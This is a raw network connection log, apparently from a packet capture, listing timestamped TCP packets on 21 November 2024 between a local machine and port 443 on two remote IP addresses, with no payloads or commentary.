Nov 21, 2024 14:27:01.473937988 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.474155903 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.474307060 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.474390030 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.474436045 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.474467039 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.474484921 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.477314949 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.477345943 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.477531910 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.477719069 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.477730036 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.521625996 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.521785975 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.521918058 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.521977901 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.521996975 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.522020102 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.522031069 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.524666071 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.524729013 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.524815083 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.524981022 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.525012016 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.927608967 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.927623034 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.927695036 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.927731991 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.928005934 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.928005934 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.928035021 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.928169012 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.928193092 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.928344011 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.932045937 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.932102919 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.932318926 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.932475090 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.932497025 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:02.716978073 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:02.717545033 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:02.717567921 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:02.718010902 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:02.718014956 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:02.797455072 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:02.798163891 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:02.798208952 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:02.798619032 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:02.798626900 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.169456959 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.169487000 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.169549942 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.169560909 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.169714928 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.169876099 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.169884920 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.169899940 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.170685053 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.170792103 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.172041893 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.172961950 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.173015118 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.173290968 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.173445940 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.173460007 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.215468884 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.256917000 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.261692047 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.261749029 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.261868000 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.261898994 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.262732983 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.262804985 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.313575029 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.364656925 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.445745945 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.445794106 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.452944040 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.452958107 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.506215096 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.506262064 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.506278992 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.506288052 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.507483959 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.507525921 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.510359049 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.510376930 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.516283035 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.516381979 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.516479015 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.517606020 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.517644882 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.776866913 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.780011892 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.780067921 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.780437946 CET	49859	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.780471087 CET	443	49859	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.793529034 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.834956884 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.836936951 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.837946892 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.838037014 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.838057995 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.838146925 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.838227987 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.838821888 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.838833094 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.839497089 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.839503050 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.851912975 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.851958990 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.852010012 CET	49860	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.852025986 CET	443	49860	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.853632927 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.853704929 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.855307102 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.855334997 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:03.856511116 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.856750011 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:03.856759071 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.249042034 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.254674911 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.254741907 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.255250931 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.255289078 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.255337000 CET	49863	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.255353928 CET	443	49863	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.259181976 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.259221077 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.259275913 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.259483099 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.259496927 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.542654037 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:04.542746067 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:04.542815924 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:04.543442965 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:04.543476105 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:04.894928932 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.895401955 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.895452976 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:04.895834923 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:04.895848036 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.248584032 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.249322891 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.249408960 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.249677896 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.249692917 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.358115911 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.361063004 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.361181974 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.361181974 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.361221075 CET	49864	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.361239910 CET	443	49864	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.365936041 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.366027117 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.366235018 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.366525888 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.366564989 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.634673119 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.636040926 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.636121035 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.636461973 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.636514902 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.636531115 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.637227058 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.637227058 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.637240887 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.637248993 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.682190895 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.685571909 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.685991049 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.686075926 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.686075926 CET	49865	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.686121941 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.686151028 CET	443	49865	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.688608885 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.688683033 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:05.688837051 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.689022064 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:05.689053059 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.047250986 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.049840927 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.049863100 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.050121069 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.050126076 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.080733061 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.083839893 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.085820913 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.091829062 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.092581034 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.092592955 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.092628002 CET	49868	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.092632055 CET	443	49868	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.094928980 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.096128941 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.096213102 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.096214056 CET	49866	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.096257925 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.096285105 CET	443	49866	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.103709936 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.103785038 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.103825092 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.103890896 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.103982925 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.103985071 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.104130983 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.104135036 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.104167938 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.104170084 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.359225988 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:06.359342098 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:06.361474037 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:06.361504078 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:06.361725092 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:06.371354103 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:06.419331074 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:06.490417004 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.493917942 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.493997097 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.494023085 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.494036913 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.494045019 CET	49870	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.494050980 CET	443	49870	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.496592045 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.496612072 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:06.496685982 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.496815920 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:06.496825933 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.093830109 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.093852043 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.093923092 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.093960047 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.094032049 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.094072104 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.094105959 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.139714003 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.139749050 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.139794111 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.139904976 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.139904976 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.139904976 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.140001059 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.140001059 CET	49871	443	192.168.2.5	52.149.20.212
Nov 21, 2024 14:27:07.140043020 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.140073061 CET	443	49871	52.149.20.212	192.168.2.5
Nov 21, 2024 14:27:07.162904024 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.163697958 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.163738966 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.164125919 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.164139032 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.486037016 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.486480951 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.486541033 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.486896038 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.486908913 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.606167078 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.609230995 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.609332085 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.609564066 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.609608889 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.609638929 CET	49872	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.609656096 CET	443	49872	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.612138033 CET	49878	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.612191916 CET	443	49878	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.612268925 CET	49878	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.612533092 CET	49878	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.612550020 CET	443	49878	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.832263947 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.832824945 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.832911015 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.833244085 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.833257914 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.894886971 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.896167994 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.896229029 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.896625996 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.896640062 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.921360970 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.924148083 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.924315929 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.924401999 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.924401999 CET	49873	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.924446106 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.924474955 CET	443	49873	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.927800894 CET	49879	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.927836895 CET	443	49879	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:07.927906036 CET	49879	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.928045034 CET	49879	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:07.928061008 CET	443	49879	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.218354940 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.222264051 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.222286940 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.222799063 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.222804070 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.266529083 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.269840002 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.271617889 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.272814989 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.272859097 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.272887945 CET	49875	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.272921085 CET	443	49875	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.297743082 CET	49880	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.297792912 CET	443	49880	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.297920942 CET	49880	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.298042059 CET	49880	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.298059940 CET	443	49880	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.338313103 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.341592073 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.341636896 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.341665983 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.341727018 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.341789961 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.341789961 CET	49874	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.341831923 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.341861963 CET	443	49874	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.348951101 CET	49881	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.348987103 CET	443	49881	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.349040031 CET	49881	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.349805117 CET	49881	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.349823952 CET	443	49881	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.654537916 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.656954050 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.657011986 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.657027006 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.657067060 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.657113075 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.657179117 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.657190084 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.657198906 CET	49877	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.657208920 CET	443	49877	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.660175085 CET	49882	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.660214901 CET	443	49882	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:08.660274029 CET	49882	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.660434008 CET	49882	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:08.660450935 CET	443	49882	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:09.648528099 CET	443	49879	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:09.652405977 CET	49879	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:09.652430058 CET	443	49879	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:09.652884960 CET	49879	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:09.652889967 CET	443	49879	13.107.246.45	192.168.2.5
